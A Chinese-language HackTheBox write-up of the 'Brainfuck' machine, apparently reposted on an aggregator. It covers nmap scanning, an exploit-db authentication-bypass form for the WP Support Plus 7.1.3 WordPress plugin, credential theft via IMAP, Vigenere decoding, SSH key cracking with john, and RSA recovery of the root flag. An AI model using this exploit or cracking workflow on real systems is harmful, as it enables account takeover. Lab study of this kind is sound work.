Linux/Brainfuck

news2024/11/20 4:26:08

Brainfuck

Enumeration

Nmap

扫描发现对外开放了 22,25,110,143,443 五个端口,使用 nmap 扫描端口详细信息

┌──(kali㉿kali)-[~/vegetable/HTB/Insane]
└─$ nmap -sC -sV -p 22,25,110,143,443 -oA nmap 10.10.10.17 
Starting Nmap 7.93 ( https://nmap.org ) at 2023-12-29 02:54 EST
Nmap scan report for 10.10.10.17
Host is up (0.35s latency).

PORT    STATE SERVICE   VERSION
22/tcp  open  ssh       OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   2048 94d0b334e9a537c5acb980df2a54a5f0 (RSA)
|   256 6bd5dc153a667af419915d7385b24cb2 (ECDSA)
|_  256 23f5a333339d76d5f2ea6971e34e8e02 (ED25519)
25/tcp  open  smtp      Postfix smtpd
|_smtp-commands: brainfuck, PIPELINING, SIZE 10240000, VRFY, ETRN, STARTTLS, ENHANCEDSTATUSCODES, 8BITMIME, DSN
110/tcp open  pop3      Dovecot pop3d
|_pop3-capabilities: SASL(PLAIN) CAPA AUTH-RESP-CODE USER RESP-CODES UIDL PIPELINING TOP
143/tcp open  imap      Dovecot imapd
|_imap-capabilities: ENABLE more LITERAL+ IMAP4rev1 ID LOGIN-REFERRALS listed OK have IDLE capabilities post-login AUTH=PLAINA0001 Pre-login SASL-IR
443/tcp open  ssl/https nginx/1.10.0 (Ubuntu)
| tls-alpn: 
|_  http/1.1
|_http-title: 400 The plain HTTP request was sent to HTTPS port
|_ssl-date: TLS randomness does not represent time
| ssl-cert: Subject: commonName=brainfuck.htb/organizationName=Brainfuck Ltd./stateOrProvinceName=Attica/countryName=GR
| Subject Alternative Name: DNS:www.brainfuck.htb, DNS:sup3rs3cr3t.brainfuck.htb
| Not valid before: 2017-04-13T11:19:29
|_Not valid after:  2027-04-11T11:19:29
|_http-server-header: nginx/1.10.0 (Ubuntu)
| tls-nextprotoneg: 
|_  http/1.1
Service Info: Host:  brainfuck; OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 87.07 seconds

nmap 揭示 443 端口,有很多域名,将 brainfuck.htb,www.brainfuck.htb,sup3rs3cr3t.brainfuck.htb 全部都添加到 /etc/hosts 文件中,在访问 www.brainfuck.htb 时发现站点使用了 wordpress,版本为 4.7.3,在源码中发现使用了 wp-support-plus-responsive-ticket-system 的插件,版本为 7.1.3

src='https://brainfuck.htb/wp-content/plugins/wp-support-plus-responsive-ticket-system/asset/js/public.js?version=7.1.3&ver=4.7.3'>

博客的用户是 admin,还发现了一个邮箱 orestis@brainfuck.htb

搜索该插件发现一个权限提升漏洞,exploit-db 描述因为错误使用 wp_set_auth_cookie(),所以可以在不知道密码的情况下以任意用户登录系统,PoC如下

<form method="post" action="http://wp/wp-admin/admin-ajax.php">
    Username: <input type="text" name="username" value="administrator">
    <input type="hidden" name="email" value="sth">
    <input type="hidden" name="action" value="loginGuestFacebook">
    <input type="submit" value="Login">
</form>

在访问一下 sup3rs3cr3t.brainfuck.htb,显示是一个秘密论坛,点击其中的帖子得到了 orestis 和 admin 用户名,先回到刚才发现的 wordpress 插件的漏洞

Exploitation

WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation

这个表单只是用来生成正确 POST 请求的,所以修改其中的 url 地址,修改 username 和 email 的值,然后将该 PoC 保存为 auth.html

┌──(kali㉿kali)-[~/vegetable/HTB/Linux/Brainfuck]
└─$ cat auth.html                   
<form method="post" action="https://brainfuck.htb/wp-admin/admin-ajax.php">
    Username: <input type="text" name="username" value="admin">
    <input type="hidden" name="email" value="orestis@brainfuck.htb">
    <input type="hidden" name="action" value="loginGuestFacebook">
    <input type="submit" value="Login">
</form>

然后利用python的HTTP服务访问该html,按如下方式执行

┌──(kali㉿kali)-[~/vegetable/HTB/Linux/Brainfuck]
└─$ python3 -m http.server --bind 127.0.0.1 80
Serving HTTP on 127.0.0.1 port 80 (http://127.0.0.1:80/) ...

接着,可以在浏览器中访问,点击login

需要等一会,页面会显示空白,但是burpsuite中显示已经设置了cookie,获得一个cookie后

刷新页面,再次访问 https://brainfuck.htb,右上角显示我们以amdin用户的身份登录了系统

查看插件会发现4个插件,发现了一个叫Easy WP SMTP的插件

点击settings可以发现一组用户名和密码

点击邮件检查,可以直接从源码中看到密码

imap

在计算领域,Internet 消息访问协议是一种 Internet 标准协议,电子邮件客户端使用该协议通过 TCP/IP 连接从邮件服务器检索电子邮件消息,获得用户名和密码,尝试从邮箱中获取一些其他信息

首先使用telnet连接服务

┌──(kali㉿kali)-[~]
└─$ telnet brainfuck.htb 143
Trying 10.10.10.17...
Connected to brainfuck.htb.
Escape character is '^]'.
* OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE AUTH=PLAIN] Dovecot ready.

在 IMAP 中,每个命令都由一个唯一的标识符标识,用于跟踪和匹配服务器对该命令的响应,因此先输入 a1 LOGIN orestis kHGuERB29DNiNE 登录,然后使用 a2 LIST "" "*" 列出邮件服务器上所有的邮件箱

a1 LOGIN orestis kHGuERB29DNiNE
a1 OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE IDLE SORT SORT=DISPLAY THREAD=REFERENCES THREAD=REFS THREAD=ORDEREDSUBJECT MULTIAPPEND URL-PARTIAL CATENATE UNSELECT CHILDREN NAMESPACE UIDPLUS LIST-EXTENDED I18NLEVEL=1 CONDSTORE QRESYNC ESEARCH ESORT SEARCHRES WITHIN CONTEXT=SEARCH LIST-STATUS BINARY MOVE SPECIAL-USE] Logged in
a2 LIST "" "*"
* LIST (\HasNoChildren) "/" INBOX
a2 OK List completed (0.000 + 0.000 secs).

接下来使用标识符 a3 尝试查看(examine)名为 "INBOX" 的邮件箱 a3 EXAMINE INBOX,在其中发现存在两封邮件

a3 EXAMINE INBOX
* FLAGS (\Answered \Flagged \Deleted \Seen \Draft)
* OK [PERMANENTFLAGS ()] Read-only mailbox.
* 2 EXISTS
* 0 RECENT
* OK [UIDVALIDITY 1493461609] UIDs valid
* OK [UIDNEXT 5] Predicted next UID
* OK [HIGHESTMODSEQ 4] Highest
a3 OK [READ-ONLY] Examine completed (0.000 + 0.000 secs).

使用命令 a4 FETCH 1 BODY[] 读取第一封邮件的内容,使用命令 a5 FETCH 2 BODY[] 读取第二封邮件的内容,在其中发现了 sup3rs3cr3t.brainfuck.htb 站点的登录凭证

a5 FETCH 2 BODY[]
* 2 FETCH (BODY[] {514}
Return-Path: <root@brainfuck.htb>
X-Original-To: orestis
Delivered-To: orestis@brainfuck.htb
Received: by brainfuck (Postfix, from userid 0)
        id 4227420AEB; Sat, 29 Apr 2017 13:12:06 +0300 (EEST)
To: orestis@brainfuck.htb
Subject: Forum Access Details
Message-Id: <20170429101206.4227420AEB@brainfuck>
Date: Sat, 29 Apr 2017 13:12:06 +0300 (EEST)
From: root@brainfuck.htb (root)

Hi there, your credentials for our "secret" forum are below :)

username: orestis
password: kIEnnfEKJ#9UmdO

Regards
)
a5 OK Fetch completed (0.001 + 0.000 secs).

使用凭证成功登陆了论坛系统,看到了两个不一样的内容

vigenere decode

点击admin,里面有一些乱码样的话,还有其他的,在下面也有提到“SSH Access已升级为使用密钥,密码登录已永久禁用”

Ybgbq wpl gw lto udgnju fcpp, C jybc zfu zrryolqp zfuz xjs rkeqxfrl ojwceec J uovg :)
mnvze://zsrivszwm.rfz/8cr5ai10r915218697i1w658enqc0cs8/ozrxnkc/ub_sja

Xua zxcbje iai c leer nzgpg ii uy...

如果点击orestis,发现也差不多,用了某种加密让别人猜不到说了什么

Si rbazmvm, Q'yq vtefc gfrkr nn ;)
Qbqquzs - Pnhekxs dpi fca fhf zdmgzt

Ufgoqcbje....
Wejmvse - Fbtkqal zqb rso rnl cwihsf

Mya qutf de buj otv rms dy srd vkdof :)
Pieagnm - Jkoijeg nbw zwx mle grwsnn

但是发现,在加密对话之前,orestis都有下面红框中的一句话作为结尾,猜测上面三条的第二行对应的也是这句“Orestis - Hacking for fun and profit”

尝试使用 cyberchef,选择 vigenere decode,因为大概能猜得到这几个名字应该都是 orestis,所以将key设置为 orestis,结果中已经出现了类似于 brainfuck 的东西,key 可能是 mybrainfuck,fuckmybrain,brainfuckmy 之类的东西

在使用fuckmybrain作为key时,可以发现其中有这样一句话,得到了一个链接

尝试下载该密钥

然后使用john来破解密码

┌──(kali㉿kali)-[~/Downloads]
└─$ ssh2john id_rsa > john_rsa
                                                                                                                                                           
┌──(kali㉿kali)-[~/Downloads]
└─$ john john_rsa --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 1 password hash (SSH, SSH private key [RSA/DSA/EC/OPENSSH 32/64])
Cost 1 (KDF/cipher [0=MD5/AES 1=MD5/3DES 2=Bcrypt/AES]) is 0 for all loaded hashes
Cost 2 (iteration count) is 1 for all loaded hashes
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
3poulakia!       (id_rsa)     
1g 0:00:00:05 DONE (2024-01-02 04:30) 0.1908g/s 2377Kp/s 2377Kc/s 2377KC/s 3prash0..3pornuthin
Use the "--show" option to display all of the cracked passwords reliably
Session completed.

然后可以尝试登录ssh

┌──(kali㉿kali)-[~/Downloads]
└─$ ssh -i id_rsa orestis@10.10.10.17
The authenticity of host '10.10.10.17 (10.10.10.17)' can't be established.
ED25519 key fingerprint is SHA256:R2LI9xfR5z8gb7vJn7TAyhLI9RT5GEVp76CK9aoKnM8.
This key is not known by any other names
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes
Warning: Permanently added '10.10.10.17' (ED25519) to the list of known hosts.
Enter passphrase for key 'id_rsa': 
Welcome to Ubuntu 16.04.2 LTS (GNU/Linux 4.4.0-75-generic x86_64)

 * Documentation:  https://help.ubuntu.com
 * Management:     https://landscape.canonical.com
 * Support:        https://ubuntu.com/advantage

0 packages can be updated.
0 updates are security updates.


You have mail.
Last login: Mon Oct  3 19:41:38 2022 from 10.10.14.23
orestis@brainfuck:~$ 

RSA decode

在 orestis 主目录除了 user.txt 还能发现其他文件,output.txt 被标记为 Encrypted Password

orestis@brainfuck:~$ ls
debug.txt  encrypt.sage  mail  output.txt  user.txt
orestis@brainfuck:~$ cat debug.txt
7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
orestis@brainfuck:~$ cat output.txt
Encrypted Password: 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182

还有一个 encrypt.sage,是一个脚本,这段代码使用 Python 中的 SageMath(数学软件包)来实现一个简单的 RSA 加密过程,RSA的加密是求 e 次方的 mod n

可以看到程序读取了 root.txt ,然后将字符串转化成整型,生成两个大随机数 p 和 q,令 p 和 q相乘得到 n,然后求出 e,最后加密 root.txt,并将其保存到 output.txt,并且将 p,q,e 都保存到了  debug.txt 中

orestis@brainfuck:~$ cat encrypt.sage
nbits = 1024

password = open("/root/root.txt").read().strip()
enc_pass = open("output.txt","w")
debug = open("debug.txt","w")
m = Integer(int(password.encode('hex'),16))

p = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
q = random_prime(2^floor(nbits/2)-1, lbound=2^floor(nbits/2-1), proof=False)
n = p*q
phi = (p-1)*(q-1)
e = ZZ.random_element(phi)
while gcd(e, phi) != 1:
    e = ZZ.random_element(phi)



c = pow(m, e, n)
enc_pass.write('Encrypted Password: '+str(c)+'\n')
debug.write(str(p)+'\n')
debug.write(str(q)+'\n')
debug.write(str(e)+'\n')

可以利用 stackexchange 的帖子,更新代码中的各项值

def egcd(a, b):
    x,y, u,v = 0,1, 1,0
    while a != 0:
        q, r = b//a, b%a
        m, n = x-u*q, y-v*q
        b,a, x,y, u,v = a,r, u,v, m,n
        gcd = b
    return gcd, x, y

def main():

    p = 7493025776465062819629921475535241674460826792785520881387158343265274170009282504884941039852933109163193651830303308312565580445669284847225535166520307
    q = 7020854527787566735458858381555452648322845008266612906844847937070333480373963284146649074252278753696897245898433245929775591091774274652021374143174079
    e = 30802007917952508422792869021689193927485016332713622527025219105154254472344627284947779726280995431947454292782426313255523137610532323813714483639434257536830062768286377920010841850346837238015571464755074669373110411870331706974573498912126641409821855678581804467608824177508976254759319210955977053997
    ct = 44641914821074071930297814589851746700593470770417111804648920018396305246956127337150936081144106405284134845851392541080862652386840869768622438038690803472550278042463029816028777378141217023336710545449512973950591755053735796799773369044083673911035030605581144977552865771395578778515514288930832915182

    # compute n
    n = p * q

    # Compute phi(n)
    phi = (p - 1) * (q - 1)

    # Compute modular inverse of e
    gcd, a, b = egcd(e, phi)
    d = a

    print( "n:  " + str(d) );

    # Decrypt ciphertext
    pt = pow(ct, d, n)
    print( "pt: " + str(pt) )

if __name__ == "__main__":
    main()

运行python脚本,结果如下所示

┌──(kali㉿kali)-[~/vegetable/HTB/Linux/Brainfuck]
└─$ python rsa_rev.py                         
n:  8730619434505424202695243393110875299824837916005183495711605871599704226978295096241357277709197601637267370957300267235576794588910779384003565449171336685547398771618018696647404657266705536859125227436228202269747809884438885837599321762997276849457397006548009824608365446626232570922018165610149151977
pt: 24604052029401386049980296953784287079059245867880966944246662849341507003750

要从10进制转化成ascii码,可以利用以下程序,由此可以计算得出 root.txt 的值

┌──(kali㉿kali)-[~/vegetable/HTB/Linux/Brainfuck]
└─$ python3 -c "print(bytes.fromhex(format(24604052029401386049980296953784287079059245867880966944246662849341507003750, 'x')).decode('utf-8'))"

6efc1a5dbb8904751ce6566a305bb8ef

参考链接:

WordPress Plugin WP Support Plus Responsive Ticket System 7.1.3 - Privilege Escalation - PHP webapps Exploit (exploit-db.com)

RSA given q, p and e? - Cryptography Stack Exchange

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1663603.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

【Unity Animation 2D】Unity Animation 2D骨骼绑定与动画制作

一、图片格式为png格式&#xff0c;并且角色各部分分离 图片参数设置 需要将Sprite Mode设置为Single&#xff0c;否则图片不能作为一个整体 1、创建骨骼 1.1 旋转Create Bone&#xff0c;点击鼠标左键确定骨骼位置&#xff0c;移动鼠标再次点击鼠标左键确定骨骼&#xff0c…

DSSAT作物模建模方法

原文链接&#xff1a;DSSAT作物模建模方法https://mp.weixin.qq.com/s?__bizMzUzNTczMDMxMg&mid2247604079&idx5&sn0151d083d35c9ea259cf155d082b0145&chksmfa821688cdf59f9eddae14a99fce4f56c6ad9d73db38e0b9b165dcb9b315b6ed845d83cd085f&token94156244…

OV SSL证书的多重优势:提升用户信任与安全

在数字化时代&#xff0c;网络安全成为了企业与用户共同关注的焦点。SSL证书作为保护数据传输安全的重要工具&#xff0c;其种类繁多&#xff0c;其中组织验证&#xff08;Organization Validation&#xff0c;简称OV&#xff09;SSL证书凭借其独特的优点&#xff0c;在众多安全…

【SpringBoot】使用阿里云实现短信验证

前言 之前在写Redis相关内容的时候&#xff0c;提到了Redis可以和我们的短信验证结合起来使用&#xff0c;于是这几天博主空了&#xff0c;想起来这个事&#xff0c;连忙学习了阿里云关于短信验证的内容&#xff0c;使用SpringBoot框架进行代码书写&#xff0c;并将Redis结合起…

SGP.02-v4.2-002

ETSI TS 102 226 [5] ts_102.226v13.0.0 Remote APDU structure for UICC based applications 在ETSI TS 102 223 [3]标准中&#xff0c;关于通过PUSH命令打开BIP&#xff08;基于IP的&#xff09;通道的数据字段可以包含任何为OPEN CHANNEL定义的COMPREHENSION-TLV&#xf…

MP4提取gif怎么操作?分享一招快制作

随着各种社交媒体的发展&#xff0c;越来越多的人在聊天中使用gif表情包来调节自己的聊天氛围。搞笑的gif表情包能够为我们平淡的生活添砖加瓦&#xff0c;带给我们一些轻松和欢乐。如果想要自己制作gif动画的时候就可以用视频转gif的工具&#xff0c;能够在不下载软件的情况下…

【Ubuntu永久授权串口设备读取权限‘/dev/ttyUSB0‘】

Ubuntu永久授权串口设备读取权限 1 问题描述2 解决方案2.1 查看ttyUSB0权限&#xff0c;拥有者是root&#xff0c;所属用户组为dialout2.2 查看dialout用户组成员&#xff0c;如图所示&#xff0c;普通用户y不在dialout组中2.3 将普通用户y加入dialout组中2.4 再次查看dialout用…

端到端将重塑智驾?获10亿美金融资,解密英国AI独角兽Wayve

‍作者 |张马也 编辑 |德新 就在前两天&#xff0c;英国AI公司Wayve宣布获得新一轮10.5亿美元融资&#xff0c;投资方为软银、英伟达和现有投资人微软&#xff0c;可以说是顶级豪华阵容。 作为一家英国公司&#xff0c;Wayve这轮融资也创造了英国AI公司有史以来最大的单笔融资…

保姆级教学 基于Hexo搭建个人网站(Github)

文章目录 搭建Hexo静态博客介绍一、注册Github账号二、 安装前置软件包三、 绑定github仓库创建SSH私钥添加私钥连接Github仓库 四、安装hexo1. 更改npm镜像源2. 创建一个文件夹 在里面打开终端3. 初始化hexo 五、切换主题1. 安装主题2. 修改默认主题查看修改主题后的网站 六、…

【密评】 | 商用密码应用安全性评估从业人员考核题库(8/58)

国家支持社会团体、企业利用自主创新技术制定&#xff08;&#xff09;国家标准、行业标准相关技术要求的商用密码团体标准、企业标准。 A.低于 B.等于 C.高于 D.相当于 在密码的实际应用中&#xff0c;通常使用下列哪种方法来实现不可否认性&#xff08;&#xff09;。 A.加密…

无人机+集群控制:穿越机集群技术详解

来源&#xff1a;无人机技术圈 作者&#xff1a;无人机 “人工智能技术与咨询” 发布 无人机集群是指为共同执行某一任务、受统一指挥的多架无人机组成的集合体。无人机集群可以通过网络技术实现互联互通&#xff0c;形成集中统一的整体&#xff0c;从而实现协同作战或完成…

测斜仪的具体应用:从地下工程到斜坡监测

测斜仪作为一种精密的测量工具&#xff0c;在多个领域都有广泛的应用。从最初的地下工程&#xff0c;到现今的斜坡监测&#xff0c;测斜仪的技术进步和应用范围的扩大&#xff0c;为工程安全提供了有力的保障。 一、地下工程中的测斜仪应用 在地下工程中&#xff0c;测斜仪主要…

python输入多行统计行数

input输入多行 统计行数编写一段代码来统计输入文本的行数。以下是一个简单的Python示例代码&#xff1a; # 从用户输入中读取多行文本 lines [] print("请输入文本&#xff0c;输入# ꧂ ꧁结束输入:") while True:line input()if line end:breaklines.append(li…

【R语言与统计】SEM结构方程、生物群落、多元统计分析、回归及混合效应模型、贝叶斯、极值统计学、meta分析、copula、分位数回归、文献计量学

统计模型的七大类&#xff1a;一&#xff1a;多元回归 在研究变量之间的相互影响关系模型时候&#xff0c;用到这类方法&#xff0c;具体地说&#xff1a;其可以定量地描述某一现象和某些因素之间的函数关系&#xff0c;将各变量的已知值带入回归方程可以求出因变量的估计值&…

【御控物联】Java JSON结构转换、JSON协议转换、JSON属性互换(15):对象To数组——转换映射方式

文章目录 一、JSON结构转换是什么&#xff1f;二、术语解释三、案例之《JSON对象 To JSON数组》四、代码实现五、在线转换工具六、技术资料 一、JSON结构转换是什么&#xff1f; JSON结构转换指的是将一个JSON对象或JSON数组按照一定规则进行重组、筛选、映射或转换&#xff0…

璞华科技中标苏州工业园区“科技发展公司运营管理系统”升级改造项目

近日&#xff0c;璞华科技中标苏州工业园区科技发展有限公司“科技发展公司运营管理系统”升级改造项目。 苏州工业园区科技发展有限公司成立于2000年&#xff0c;是苏州工业园区管委会直属国有企业&#xff0c;聚焦以人工智能为引领的数字经济产业创新集群&#xff0c;重点布局…

亚马逊广告怎么优化?11条口诀请谨记

对于亚马逊卖家来说&#xff0c;想要销量好&#xff0c;亚马逊广告是不可或缺的&#xff01;那么卖家要如何优化亚马逊广告才可以获得更好的效果呢&#xff1f;今天给大家分享11条亚马逊广告优化口诀&#xff0c;赶紧收藏学起来吧&#xff01; 亚马逊广告优化口诀分享 1、曝光高…

Python-VBA函数之旅-sorted函数

目录 一、sorted函数的常见应用场景 二、sorted函数使用注意事项 三、如何用好sorted函数&#xff1f; 1、sorted函数&#xff1a; 1-1、Python&#xff1a; 1-2、VBA&#xff1a; 2、推荐阅读&#xff1a; 个人主页&#xff1a; https://blog.csdn.net/ygb_1024?spm1…

实现WPF中的数据更新 属性通知界面:INotifyPropertyChanged接口

在WPF (Windows Presentation Foundation) 应用程序中&#xff0c;当数据发生变化时&#xff0c;通常希望UI能够自动更新以反映这些变化。为了实现这一功能&#xff0c;WPF 提供了数据绑定机制&#xff0c;并且配合 INotifyPropertyChanged 接口使用&#xff0c;可以在数据模型…

VMware 不能拍摄快照

问题&#xff1a; 拍摄快照后&#xff0c;会出现这个弹窗&#xff0c;然后虚拟机就直接自动退出了&#xff0c;还会弹出一个框&#xff1a; 解决方法&#xff1a; 我用的是 window11 和 VMware16.0.0 这是因为VM16与window11&#xff0c;二者之间版本不兼容问题&#xff0c;可…